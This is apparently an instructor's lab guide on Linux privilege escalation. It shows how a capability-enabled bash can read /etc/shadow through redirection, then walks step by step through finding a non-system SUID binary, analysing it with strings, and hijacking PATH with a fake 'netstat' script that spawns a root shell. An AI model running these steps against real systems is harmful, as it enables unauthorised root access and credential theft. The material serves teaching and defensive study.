GitLab now enforces expiry dates on tokens that originally had no set expiration date. Those tokens were given an expiration date of one year later. Please review your personal access tokens, project access tokens, and group access tokens to ensure you are aware of upcoming expirations. Administrators of GitLab can find more information on how to identify and mitigate interruption in our documentation.
Why does this command work when the previous commmand failed? The only difference between the previous command that failed and the current one that succeeded is the redirection "<". Bash handles redirection and cat accepts the redirected input provided by bash and since bash is running with the capabilty to bypass permission checks and read all files, it can read "/etc/shadow" even when running as a non-root user. The "cat" command happily accepts the redirected input and displays it to standard output.
{empty} +
==== Demonstrate: Vulnerable SUID/SGID executable
1. Log into the instructor linux VM using root and the password you provided in the YAML input.
2. `su demo2` # su into the user demo2
3. `sudo -l` # same as root password. should get: _"Sorry, user demo2 may not run sudo on localhost."_
4. `find / -perm /4000 -type f 2>/dev/null -exec ls -l {} \;` #look for setuid executables
5. Take note of the setuid file /bin/netstat_natpu as it stands out to the trained eye as a non-system SUID program.
-rwsr-xr-x 1 root root 845088 Nov 5 17:30 /bin/netstat_natpu
6. Perform some static analysis of the executable.
+
`file /bin/netstat_natpu #verify that it's an executable`
/bin/netstat_natpu: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=fbb80959eba1d2773de8839995ede67c0a965a47, not stripped
+
`/bin/netstat_natpu #execute the command and take note of the privileged output of the "-p" flag in netstat`
Active Internet connections (servers and established)
PID/Program name
2657/systemd-resolv
1263/sshd
22960/sshd: root@pt
1263/sshd
2657/systemd-resolv
2634/systemd-networ
+
`netstat -antpu #compare the output to normal netstat`
(No info could be read for "-p": geteuid()=1002 but you should be root.)
Active Internet connections (servers and established)
PID/Program name
-
-
-
-
-
-
. Dig into the executable a little more:
.. Strings dump of netstat_natpu
`strings /bin/netstat_natpu | grep -C3 netstat`
[code,raw]
----
T$8L
T$8L
L;~(
netstat -antpu
Not setuid root.
haswell
xeon_phi
----
In summary, the executable does a setuid(0); -- if it is successful, it then executes `system("netstat -antpu");` -- otherwise, it prints "Not setuid root."
[start=8]
. Highlight to students that the command "netstat -antpu" does not have an absolute path. This means that it uses the PATH environmental variable to search for the executable. An attacker can manipulate the PATH variable and execute any file under her or his control.
+
`printf #!/bin/sh\n/bin/bash -i\n' > netstat` # create a script called netstat that executes an interactive shell.`
+
`chmod +x netstat` # make the script executable
+
`PATH=$(pwd):$PATH /bin/netstat_natpu` # get root
+
`id` # did it work?
uid=0(root) gid=1002(demo2) groups=1002(demo2)
+
NOTE: this modifies the PATH to add the current directory to the front of the path. when /bin/netstat_natpu tries to execute "netstat", it looks for an executable file in the current directory first. It finds the bash script and executes that, giving us an interactive shell with root privileges.
